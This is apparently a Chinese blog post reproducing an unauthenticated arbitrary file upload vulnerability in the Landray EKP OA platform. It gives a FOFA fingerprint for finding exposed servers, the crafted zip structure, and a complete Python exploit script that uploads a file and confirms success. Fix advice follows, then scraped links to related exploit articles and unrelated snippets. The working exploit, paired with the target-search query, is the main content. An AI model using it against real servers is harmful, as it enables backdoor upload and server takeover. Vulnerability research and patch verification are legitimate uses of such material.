阅读须知

  此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

产品介绍

  EKP,是蓝凌旗下的协同办公平台,其定位在平台型产品,它是结合蓝凌知识管理及移动互联网理念设计,综合企业管理支撑系统发展而来,并将协同办公、知识共享、文化管理、战略管理等融合为一体,通过企业门户统一战线,满足用户个性化办公要求的一体化工作平台。

漏洞概述

  蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。

复现环境

FOFA:icon_hash="831854882"

漏洞复现

构建测试压缩包(共两个文件,分别为:component.ini 和 上传的文件)

component.ini的文件内容如下:

id=2023
name=123.txt

其中,id为上传后的路径,name为上传的文件名,如下:

EXP如下:

 1 import requests
2 from urllib.parse import urlparse
3 from requests.packages.urllib3 import disable_warnings
4 disable_warnings()
5
6
7 class poc:
8 def __init__(self, url):
9 self.url = url
10 self.headers = {
11 'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
12 "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
13 "Accept-Encoding": "gzip, deflate",
14 }
15
16 def host(self):
17 url = urlparse(self.url)
18 netloc = url.netloc
19 scheme = url.scheme
20 return scheme, netloc
21
22 def vuln(self, netloc, scheme):
23 url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
24 data = {
25 "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
26 }
27 self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
28 try:
29 result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
30 if result.status_code == 200 and "directoryPath" in result.text:
31 print("漏洞存在!")
32 print("验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
33 return True
34 else:
35 print("漏洞不存在!")
36 return False
37 except Exception as e:
38 print("漏洞不存在!")
39 return False
40
41 def main(self):
42 all = self.host()
43 scheme = all[0]
44 netloc = all[1]
45 self.vuln(netloc, scheme)
46
47
48 if __name__ == '__main__':
49 url = "http://x.x.x.x"
50 poc(url).main()

验证url:

http://x.x.x.x/resource/ui-component/2023/123.txt

PS:我这里上传的都是无害文件。

修复建议

1、文件上传模块做好权限管控;

2、升级至安全版本或打补丁。

【漏洞复现】蓝凌OA sysUiComponent 任意文件上传漏洞的更多相关文章

  1. CVE-2019-2618任意文件上传漏洞复现

    CVE-2019-2618任意文件上传漏洞复现 漏洞介绍: 近期在内网扫描出不少CVE-2019-2618漏洞,需要复测,自己先搭个环境测试,复现下利用过程,该漏洞主要是利用了WebLogic组件中的 ...

  2. 蓝凌OA前台任意文件读取漏洞利用

    近期CNVD爆出漏洞编号:CNVD-2021-28277,首次公开日期为2021-04-15,蓝凌oa存在多个漏洞,攻击者可利用该漏洞获取服务器控制权.今天挑选一个蓝凌OA前台任意文件读取漏洞进行分析 ...

  3. 13.Weblogic任意文件上传漏洞(CVE-2018-2894)复现

    Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/be ...

  4. WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)

    0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...

  5. 17.[CVE-2017-12615]Tomcat任意文件上传漏洞

    [CVE-2017-12615] Tomcat任意文件上传漏洞 首先先贴出wooyun上的一个案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0 ...

  6. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  7. WebLogic任意文件上传漏洞(CVE-2019-2618)

    WebLogic任意文件上传漏洞(CVE-2019-2618) 0x01 漏洞描述 漏洞介绍 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口, ...

  8. 【原创】JEECMS v6~v7任意文件上传漏洞(1)

    文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...

  9. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

  10. CKFinder 1.4.3 任意文件上传漏洞

    CKFinder 是国外一款非常流行的所见即所得文字编辑器,其1.4.3 asp.net版本存在任意文件上传漏洞,攻击者可以利用该漏洞上传任意文件. CKFinder在上传文件的时候,强制将文件名(不 ...

随机推荐

  1. Python 条件和 if 语句

    Python支持来自数学的通常逻辑条件: 等于:a == b 不等于:a != b 小于:a < b 小于或等于:a <= b 大于:a > b 大于或等于:a >= b 这些 ...

  2. 面试连环炮系列(二十六):什么情况下JVM频繁发生full GC

    1. 什么情况下JVM频繁发生full GC? full gc触发条件是老年代空间不足,具体原因有四个: 系统并发高.执行耗时长或者创建对象过多,导致 young gc频繁,且gc后存活对象太多,但是 ...

  3. leetcode:1337. 方阵中战斗力最弱的 K 行

    1337. 方阵中战斗力最弱的 K 行 给你一个大小为 m * n 的方阵 mat,方阵由若干军人和平民组成,分别用 0 和 1 表示. 请你返回方阵中战斗力最弱的 k 行的索引,按从最弱到最强排序. ...

  4. 笔记本电脑上的聊天机器人: 在英特尔 Meteor Lake 上运行 Phi-2

    对应于其强大的能力,大语言模型 (LLM) 需要强大的算力支撑,而个人计算机上很难满足这一需求.因此,我们别无选择,只能将它们部署至由本地或云端托管的性能强大的定制 AI 服务器上. 为何需要将 LL ...

  5. ES6中数组新增了哪些扩展?

    一.扩展运算符的应用 ES6通过扩展元素符...,好比 rest 参数的逆运算,将一个数组转为用逗号分隔的参数序列 console.log(...[1, 2, 3])// 1 2 3console.l ...

  6. linux中nginx的https证书过期替换

    linux中nginx的https证书过期替换 工作记录,不然老是忘 一般提示这个就说明过期了 首先把新的证书换上去,最好和之前的文件名字一样,这样就不用改配置文件了 路径就自己找了需要,不过一般挺好 ...

  7. maven BUILD FAILURE

    maven BUILD FAILURE 使用命令进行导包失败,错误为BUILD FAILURE 然后使用mvn help:system看一下是不是maven有问提 然后出现了新的错误No plugin ...

  8. Advanced .Net Debugging 7:托管堆与垃圾收集

    一.简介 这是我的<Advanced .Net Debugging>这个系列的第七篇文章.这篇文章的内容是原书的第二部分的[调试实战]的第五章,这一章主要讲的是从根本上认识托管堆和垃圾回收 ...

  9. 第二課:Mirth培養興趣之旅 ——由定時刷庫接口編程講起

    1.准备工作 1.1 本机安装vs2019:(https://visualstudio.microsoft.com/zh-hans/) 1.2 本机安装win64的MariaDB 10.3.27版本数 ...

  10. 力扣387(java)-字符串中的第一个唯一字符(简单)

    题目: 给定一个字符串 s ,找到 它的第一个不重复的字符,并返回它的索引 .如果不存在,则返回 -1 . 示例 1: 输入: s = "leetcode"输出: 0示例 2: 输 ...